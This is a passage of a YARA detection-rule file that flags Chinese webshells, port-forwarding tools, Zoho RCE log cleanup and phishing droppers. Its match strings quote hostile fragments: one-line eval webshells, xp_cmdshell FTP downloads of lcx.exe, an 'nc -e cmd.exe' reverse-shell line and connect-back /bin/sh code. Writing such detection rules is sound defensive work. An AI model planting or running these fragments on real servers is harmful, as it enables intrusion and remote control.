		$s5 = "<b>Modify Trigger</b>" fullword ascii

	condition:
		filesize < 15KB and all of them
}

rule Customize
{
	meta:
		description = "Chinese Hacktool Set - file Customize.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "db556879dff9a0101a7a26260a5d0dc471242af2"
		id = "a69e1234-cc85-5295-a45c-693afdfc368e"

	strings:
		$s1 = "ds.Clear();ds.Dispose();}else{SqlCommand cm = Conn.CreateCommand();cm.CommandTex" ascii
		$s2 = "c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=tr" ascii
		$s3 = "Stream WF=WB.GetResponseStream();FileStream FS=new FileStream(Z2,FileMode.Create" ascii
		$s4 = "R=\"Result\\t|\\t\\r\\nExecute Successfully!\\t|\\t\\r\\n\";}Conn.Close();break;" ascii

	condition:
		filesize < 24KB and all of them
}

rule oracle_data
{
	meta:
		description = "Chinese Hacktool Set - file oracle_data.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "6cf070017be117eace4752650ba6cf96d67d2106"
		id = "faa62dcc-0f59-573c-8722-d07216de151f"

	strings:
		$s0 = "$txt=fopen(\"oracle_info.txt\",\"w\");" fullword ascii
		$s1 = "if(isset($_REQUEST['id']))" fullword ascii
		$s2 = "$id=$_REQUEST['id'];" fullword ascii

	condition:
		all of them
}

rule reDuhServers_reDuh
{
	meta:
		description = "Chinese Hacktool Set - file reDuh.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "377886490a86290de53d696864e41d6a547223b0"
		id = "c87d971a-a16f-5593-88fb-6bcd207e0841"

	strings:
		$s1 = "out.println(\"[Error]Unable to connect to reDuh.jsp main process on port \" +ser" ascii
		$s4 = "System.out.println(\"IPC service failed to bind to \" + servicePort);" fullword ascii
		$s17 = "System.out.println(\"Bound on \" + servicePort);" fullword ascii
		$s5 = "outputFromSockets.add(\"[data]\"+target+\":\"+port+\":\"+sockNum+\":\"+new Strin" ascii

	condition:
		filesize < 116KB and all of them
}

rule item_old
{
	meta:
		description = "Chinese Hacktool Set - file item-old.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "daae358bde97e534bc7f2b0134775b47ef57e1da"
		id = "c32bbd48-a363-53c7-84c6-c47581e2f9da"

	strings:
		$s1 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
		$s2 = "$sCmd = \"convert \".$sFile.\" -flip -quality 80 \".$sFileOut;" fullword ascii
		$s3 = "$sHash = md5($sURL);" fullword ascii

	condition:
		filesize < 7KB and 2 of them
}

rule Tools_2014
{
	meta:
		description = "Chinese Hacktool Set - file 2014.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "74518faf08637c53095697071db09d34dbe8d676"
		id = "bb76321b-003d-5f6b-a84b-425477abe91c"

	strings:
		$s0 = "((Invoker) ins.get(\"login\")).invoke(request, response," fullword ascii
		$s4 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
		$s5 = ": \"c:\\\\windows\\\\system32\\\\cmd.exe\")" fullword ascii

	condition:
		filesize < 715KB and all of them
}

rule reDuhServers_reDuh_2
{
	meta:
		description = "Chinese Hacktool Set - file reDuh.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "512d0a3e7bb7056338ad0167f485a8a6fa1532a3"
		id = "6050dfde-6c79-5dd8-a772-508668177aa5"

	strings:
		$s1 = "errorlog(\"FRONTEND: send_command '\".$data.\"' on port \".$port.\" returned \"." ascii
		$s2 = "$msg = \"newData:\".$socketNumber.\":\".$targetHost.\":\".$targetPort.\":\".$seq" ascii
		$s3 = "errorlog(\"BACKEND: *** Socket key is \".$sockkey);" fullword ascii

	condition:
		filesize < 57KB and all of them
}

rule Customize_2
{
	meta:
		description = "Chinese Hacktool Set - file Customize.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "37cd17543e14109d3785093e150652032a85d734"
		id = "1f7e9063-33d8-5df4-89d5-7d8fc1be61f0"

	strings:
		$s1 = "while((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}}" fullword ascii
		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii

	condition:
		filesize < 30KB and all of them
}

rule ChinaChopper_one
{
	meta:
		description = "Chinese Hacktool Set - file one.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "6cd28163be831a58223820e7abe43d5eacb14109"
		id = "854fb5c9-38c7-5fd2-a473-66ae297070f5"

	strings:
		$s0 = "<%eval request(" ascii

	condition:
		filesize < 50 and all of them
}

rule CN_Tools_old
{
	meta:
		description = "Chinese Hacktool Set - file old.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "f8a007758fda8aa1c0af3c43f3d7e3186a9ff307"
		id = "bfdb84e8-e5a8-53a4-ae71-e0d1b38d38ef"

	strings:
		$s0 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
		$s1 = "$sURL = \"http://\".$sServer.\"/\".$sFile;" fullword ascii
		$s2 = "chmod(\"/\".substr($sHash, 0, 2), 0777);" fullword ascii
		$s3 = "$sCmd = \"echo 123> \".$sFileOut;" fullword ascii

	condition:
		filesize < 6KB and all of them
}

rule item_301
{
	meta:
		description = "Chinese Hacktool Set - file item-301.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "15636f0e7dc062437608c1f22b1d39fa15ab2136"
		id = "4ee9a089-313f-53c1-8196-1348d721dbf4"

	strings:
		$s1 = "$sURL = \"301:http://\".$sServer.\"/index.asp\";" fullword ascii
		$s2 = "(gov)\\\\.(cn)$/i\", $aURL[\"host\"])" ascii
		$s3 = "$aArg = explode(\" \", $sContent, 5);" fullword ascii
		$s4 = "$sURL = $aArg[0];" fullword ascii

	condition:
		filesize < 3KB and 3 of them
}

rule CN_Tools_item
{
	meta:
		description = "Chinese Hacktool Set - file item.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "a584db17ad93f88e56fd14090fae388558be08e4"
		id = "954f24c9-d7d5-56d3-86f0-0cf8832640dd"

	strings:
		$s1 = "$sURL = \"http://\".$sServer.\"/\".$sWget;" fullword ascii
		$s2 = "$sURL = \"301:http://\".$sServer.\"/\".$sWget;" fullword ascii
		$s3 = "$sWget=\"index.asp\";" fullword ascii
		$s4 = "$aURL += array(\"scheme\" => \"\", \"host\" => \"\", \"path\" => \"\");" fullword ascii

	condition:
		filesize < 4KB and all of them
}

rule f3_diy
{
	meta:
		description = "Chinese Hacktool Set - file diy.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "f39c2f64abe5e86d8d36dbb7b1921c7eab63bec9"
		id = "9f36c6dd-89e8-511b-a499-131f1e8a420a"

	strings:
		$s0 = "<%@LANGUAGE=\"VBScript.Encode\" CODEPAGE=\"936\"%>" fullword ascii
		$s5 = ".black {" fullword ascii

	condition:
		uint16( 0 ) == 0x253c and filesize < 10KB and all of them
}

rule ChinaChopper_temp
{
	meta:
		description = "Chinese Hacktool Set - file temp.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "b0561ea52331c794977d69704345717b4eb0a2a7"
		id = "f163787f-fcc9-568a-a12d-4057cb4f0d29"

	strings:
		$s0 = "o.run \"ff\",Server,Response,Request,Application,Session,Error" fullword ascii
		$s1 = "Set o = Server.CreateObject(\"ScriptControl\")" fullword ascii
		$s2 = "o.language = \"vbscript\"" fullword ascii
		$s3 = "o.addcode(Request(\"SC\"))" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule Tools_2015
{
	meta:
		description = "Chinese Hacktool Set - file 2015.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "8fc67359567b78cadf5d5c91a623de1c1d2ab689"
		id = "eb2826ab-ef8d-5a93-9ede-f5bbd7ab4ff4"

	strings:
		$s0 = "Configbis = new BufferedInputStream(httpUrl.getInputStream());" fullword ascii
		$s4 = "System.out.println(Oute.toString());" fullword ascii
		$s5 = "String ConfigFile = Outpath + \"/\" + request.getParameter(\"ConFile\");" fullword ascii
		$s8 = "HttpURLConnection httpUrl = null;" fullword ascii
		$s19 = "Configbos = new BufferedOutputStream(new FileOutputStream(Outf));;" fullword ascii

	condition:
		filesize < 7KB and all of them
}

rule ChinaChopper_temp_2
{
	meta:
		description = "Chinese Hacktool Set - file temp.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "604a4c07161ce1cd54aed5566e5720161b59deee"
		id = "3952ed2b-fb27-5c45-9cd7-b7a300b37c0e"

	strings:
		$s0 = "@eval($_POST[strtoupper(md5(gmdate(" ascii

	condition:
		filesize < 150 and all of them
}

rule templatr
{
	meta:
		description = "Chinese Hacktool Set - file templatr.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "759df470103d36a12c7d8cf4883b0c58fe98156b"
		id = "b361a49d-1e05-5597-bf8b-735e04397ffa"

	strings:
		$s0 = "eval(gzinflate(base64_decode('" ascii

	condition:
		filesize < 70KB and all of them
}

rule reDuhServers_reDuh_3
{
	meta:
		description = "Chinese Hacktool Set - file reDuh.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "0744f64c24bf4c0bef54651f7c88a63e452b3b2d"
		id = "69f5fd6b-a9b3-500b-8723-d1c82494903d"

	strings:
		$s1 = "Response.Write(\"[Error]Unable to connect to reDuh.jsp main process on port \" +" ascii
		$s2 = "host = System.Net.Dns.Resolve(\"127.0.0.1\");" fullword ascii
		$s3 = "rw.WriteLine(\"[newData]\" + targetHost + \":\" + targetPort + \":\" + socketNum" ascii
		$s4 = "Response.Write(\"Error: Bad port or host or socketnumber for creating new socket" ascii

	condition:
		filesize < 40KB and all of them
}

rule ChinaChopper_temp_3
{
	meta:
		description = "Chinese Hacktool Set - file temp.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
		id = "573e7da6-f58f-5814-b3e8-a0db3ecfe558"

	strings:
		$s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"" ascii
		$s1 = "\"],\"unsafe\");%>" ascii

	condition:
		uint16( 0 ) == 0x253c and filesize < 150 and all of them
}

rule Shell_Asp
{
	meta:
		description = "Chinese Hacktool Set Webshells - file Asp.html"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "5e0bc914ac287aa1418f6554ddbe0ce25f2b5f20"
		id = "52089205-8f36-5a0b-a1ae-67c91a253ad2"

	strings:
		$s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
		$s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
		$s3 = "function Command(cmd, str){" fullword ascii

	condition:
		filesize < 100KB and all of them
}

rule Txt_aspxtag
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file aspxtag.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "42cb272c02dbd49856816d903833d423d3759948"
		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"

	strings:
		$s1 = "String wGetUrl=Request.QueryString[" fullword ascii
		$s2 = "sw.Write(wget);" fullword ascii
		$s3 = "Response.Write(\"Hi,Man 2015\"); " fullword ascii

	condition:
		filesize < 2KB and all of them
}

rule Txt_php
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file php.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "eaa1af4b898f44fc954b485d33ce1d92790858d0"
		id = "65d5c46f-006d-58f9-bb7f-0a2e1f1853bd"

	strings:
		$s1 = "$Config=$_SERVER['QUERY_STRING'];" fullword ascii
		$s2 = "gzuncompress($_SESSION['api']),null);" ascii
		$s3 = "sprintf('%s?%s',pack(\"H*\"," ascii
		$s4 = "if(empty($_SESSION['api']))" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule Txt_aspx1
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file aspx1.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"

	strings:
		$s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item["
		$s1 = "],\"unsafe\");%>" fullword ascii

	condition:
		filesize < 150 and all of them
}

rule Txt_shell
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file shell.c"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "8342b634636ef8b3235db0600a63cc0ce1c06b62"
		id = "3e4c5928-346e-541b-b1a8-b37d5e3abc98"

	strings:
		$s1 = "printf(\"Could not connect to remote shell!\\n\");" fullword ascii
		$s2 = "printf(\"Usage: %s <reflect ip> <port>\\n\", prog);" fullword ascii
		$s3 = "execl(shell,\"/bin/sh\",(char *)0);" fullword ascii
		$s4 = "char shell[]=\"/bin/sh\";" fullword ascii
		$s5 = "connect back door\\n\\n\");" fullword ascii

	condition:
		filesize < 2KB and 2 of them
}

rule Txt_asp
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file asp.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "a63549f749f4d9d0861825764e042e299e06a705"
		id = "39a2ba9a-c429-574f-8820-5e0270a4b84c"

	strings:
		$s1 = "Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next:BodyCol" ascii
		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii

	condition:
		uint16( 0 ) == 0x253c and filesize < 100KB and all of them
}

rule Txt_asp1
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file asp1.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "95934d05f0884e09911ea9905c74690ace1ef653"
		id = "b00ab02c-c767-568c-be99-6cc731c3f1dc"

	strings:
		$s1 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
		$s2 = "autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)" fullword ascii
		$s3 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
		$s4 = "szTempFile = server.mappath(\"cmd.txt\")" fullword ascii

	condition:
		filesize < 70KB and 2 of them
}

rule Txt_php_2
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file php.html"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "a7d5fcbd39071e0915c4ad914d31e00c7127bcfc"
		id = "66916e32-9471-54bd-944e-bb751b38d3b0"

	strings:
		$s1 = "function connect($dbhost, $dbuser, $dbpass, $dbname='') {" fullword ascii
		$s2 = "scookie('loginpass', '', -86400 * 365);" fullword ascii
		$s3 = "<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>" fullword ascii
		$s4 = "Powered by <a title=\"Build 20130112\" href=\"http://www.4ngel.net\" target=\"_b" ascii
		$s5 = "formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\\'shell\\',null,this." ascii
		$s6 = "secparam('IP Configurate',execute('ipconfig -all'));" fullword ascii
		$s7 = "secparam('Hosts', @file_get_contents('/etc/hosts'));" fullword ascii
		$s8 = "p('<p><a href=\"http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/\" target=" ascii

	condition:
		filesize < 100KB and 4 of them
}

rule Txt_ftp
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file ftp.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "3495e6bcb5484e678ce4bae0bd1a420b7eb6ad1d"
		id = "311de4b0-fa19-545a-8a65-a40b255b5b39"

	strings:
		$s1 = "';exec master.dbo.xp_cmdshell 'echo open " ascii
		$s2 = "';exec master.dbo.xp_cmdshell 'ftp -s:';" ascii
		$s3 = "';exec master.dbo.xp_cmdshell 'echo get lcx.exe" ascii
		$s4 = "';exec master.dbo.xp_cmdshell 'echo get php.exe" ascii
		$s5 = "';exec master.dbo.xp_cmdshell 'copy " ascii
		$s6 = "ftp -s:d:\\ftp.txt " fullword ascii
		$s7 = "echo bye>>d:\\ftp.txt " fullword ascii

	condition:
		filesize < 2KB and 2 of them
}

rule Txt_lcx
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file lcx.c"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "ddb3b6a5c5c22692de539ccb796ede214862befe"
		id = "4a4e8810-6dae-526e-86f0-43de45d1c87a"

	strings:
		$s1 = "printf(\"Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-l" ascii
		$s2 = "sprintf(tmpbuf2,\"\\r\\n########### reply from %s:%d ####################\\r\\n" ascii
		$s3 = "printf(\" 3: connect to HOST1:PORT1 and HOST2:PORT2\\r\\n\");" fullword ascii
		$s4 = "printf(\"got,ip:%s,port:%d\\r\\n\",inet_ntoa(client1.sin_addr),ntohs(client1.sin" ascii
		$s5 = "printf(\"[-] connect to host1 failed\\r\\n\");" fullword ascii

	condition:
		filesize < 25KB and 2 of them
}

rule Txt_jspcmd
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file jspcmd.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "1d4e789031b15adde89a4628afc759859e53e353"
		id = "53eb6caf-3578-5df7-a1d8-9e4038b6f57e"

	strings:
		$s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
		$s4 = "out.print(\"Hi,Man 2015\");" fullword ascii

	condition:
		filesize < 1KB and 1 of them
}

rule Txt_jsp
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file jsp.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "74518faf08637c53095697071db09d34dbe8d676"
		id = "53eb6caf-3578-5df7-a1d8-9e4038b6f57e"

	strings:
		$s1 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
		$s2 = "Process pro = Runtime.getRuntime().exec(exe);" fullword ascii
		$s3 = "<option value=\\\"nc -e cmd.exe 192.168.230.1 4444\\\">nc</option>\"" fullword ascii
		$s4 = "cmd = \"cmd.exe /c set\";" fullword ascii

	condition:
		filesize < 715KB and 2 of them
}

rule Txt_aspxlcx
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file aspxlcx.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "453dd3160db17d0d762e032818a5a10baf234e03"
		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"

	strings:
		$s1 = "public string remoteip = " ascii
		$s2 = "=Dns.Resolve(host);" ascii
		$s3 = "public string remoteport = " ascii
		$s4 = "public class PortForward" ascii

	condition:
		uint16( 0 ) == 0x253c and filesize < 18KB and all of them
}

rule Txt_xiao
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file xiao.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "b3b98fb57f5f5ccdc42e746e32950834807903b7"
		id = "cd375597-c343-5f7d-8574-23f700ff432b"

	strings:
		$s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
		$s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
		$s3 = "conn.Execute(\"Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED," ascii
		$s4 = "function Command(cmd, str){" fullword ascii
		$s5 = "echo \"if(obj.value=='PageWebProxy')obj.form.target='_blank';\"" fullword ascii

	condition:
		filesize < 100KB and all of them
}

rule Txt_aspx
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file aspx.jpg"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "ce24e277746c317d887139a0d71dd250bfb0ed58"
		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"

	strings:
		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
		$s2 = "Process[] p=Process.GetProcesses();" fullword ascii
		$s3 = "Copyright &copy; 2009 Bin" ascii
		$s4 = "<td colspan=\"5\">CmdShell&nbsp;&nbsp;:&nbsp;<input class=\"input\" runat=\"serv" ascii

	condition:
		filesize < 100KB and all of them
}

rule Txt_Sql
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file Sql.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "f7813f1dfa4eec9a90886c80b88aa38e2adc25d5"
		id = "586f23d4-3a04-520d-b75b-f9bbcf67ceeb"

	strings:
		$s1 = "cmd=chr(34)&\"cmd.exe /c \"&request.form(\"cmd\")&\" > 8617.tmp\"&chr(34)" fullword ascii
		$s2 = "strQuery=\"dbcc addextendedproc ('xp_regwrite','xpstar.dll')\"" fullword ascii
		$s3 = "strQuery = \"exec master.dbo.xp_cmdshell '\" & request.form(\"cmd\") & \"'\" " fullword ascii
		$s4 = "session(\"login\")=\"\"" fullword ascii

	condition:
		filesize < 15KB and all of them
}

rule Txt_hello
{
	meta:
		description = "Chinese Hacktool Set - Webshells - file hello.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-14"
		hash = "697a9ebcea6a22a16ce1a51437fcb4e1a1d7f079"
		id = "42d01411-e333-543d-84a2-758c13bad2df"

	strings:
		$s0 = "Dim myProcessStartInfo As New ProcessStartInfo(\"cmd.exe\")" fullword ascii
		$s1 = "myProcessStartInfo.Arguments=\"/c \" & Cmd.text" fullword ascii
		$s2 = "myProcess.Start()" fullword ascii
		$s3 = "<p align=\"center\"><a href=\"?action=cmd\" target=\"_blank\">" fullword ascii

	condition:
		filesize < 25KB and all of them
}

rule EXPL_Zoho_RCE_Fix_Lines_Dec21_1
{
	meta:
		description = "Detects lines in log lines of Zoho products that indicate RCE fixes (silent removal of evidence)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1467784104930385923"
		date = "2021-12-06"
		score = 65
		id = "633287e3-a377-5b3c-8520-a7790168eff5"

	strings:
		$s1 = "RCEF="
		$sa1 = "\"attackStatus\"\\:\"active\""
		$sa2 = "\"attackStatus\":\"active\""
		$sd1 = "deletedCount"
		$sd_fp1 = "\"deletedCount\"\\:0"
		$sd_fp2 = "\"deletedCount\":0"

	condition:
		filesize < 6MB and $s1 and ( 1 of ( $sa* ) or ( $sd1 and not 1 of ( $sd_fp* ) ) )
}

rule PHISH_02Dez2015_dropped_p0o6543f_1
{
	meta:
		description = "Phishing Wave - file p0o6543f.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
		date = "2015-12-02"
		hash = "db788d6d3a8ed1a6dc9626852587f475e7671e12fa9c9faa73b7277886f1e210"
		id = "3335ad3c-47f8-5547-bac0-df2d98ff644f"

	strings:
		$s1 = "netsh.exe" fullword wide
		$s2 = "routemon.exe" fullword wide
		$s3 = "script=" fullword wide
		$s4 = "disconnect" fullword wide
		$s5 = "GetClusterResourceTypeKey" fullword ascii
		$s6 = "QueryInformationJobObject" fullword ascii
		$s7 = "interface" fullword wide
		$s8 = "connect" fullword wide
		$s9 = "FreeConsole" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and all of them
}

rule PHISH_02Dez2015_dropped_p0o6543f_2
{
	meta:
		description = "Phishing Wave used MineExplorer Game by WangLei - file p0o6543f.exe.4"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
		date = "2015-12-03"
		hash1 = "d6b21ded749b57042eede07c3af1956a3c9f1faddd22d2f78e43003a11ae496f"
		hash2 = "561b16643992b92d37cf380bc2ed7cd106e4dcaf25ca45b4ba876ce59533fb02"
		id = "ed6f6dc8-5b5d-5a6f-a2a0-cb8a34c8931f"

	strings:
		$s1 = "Email: W0067@990.net" fullword wide
		$s2 = "MineExplorer Version 1.0" fullword wide
		$s6 = "Copy Rights by WangLei 1999.4" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PHISH_02Dez2015_attach_P_ORD_C_10156_124658
{
	meta:
		description = "Phishing Wave - file P-ORD-C-10156-124658.xls"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
		date = "2015-12-02"
		hash1 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
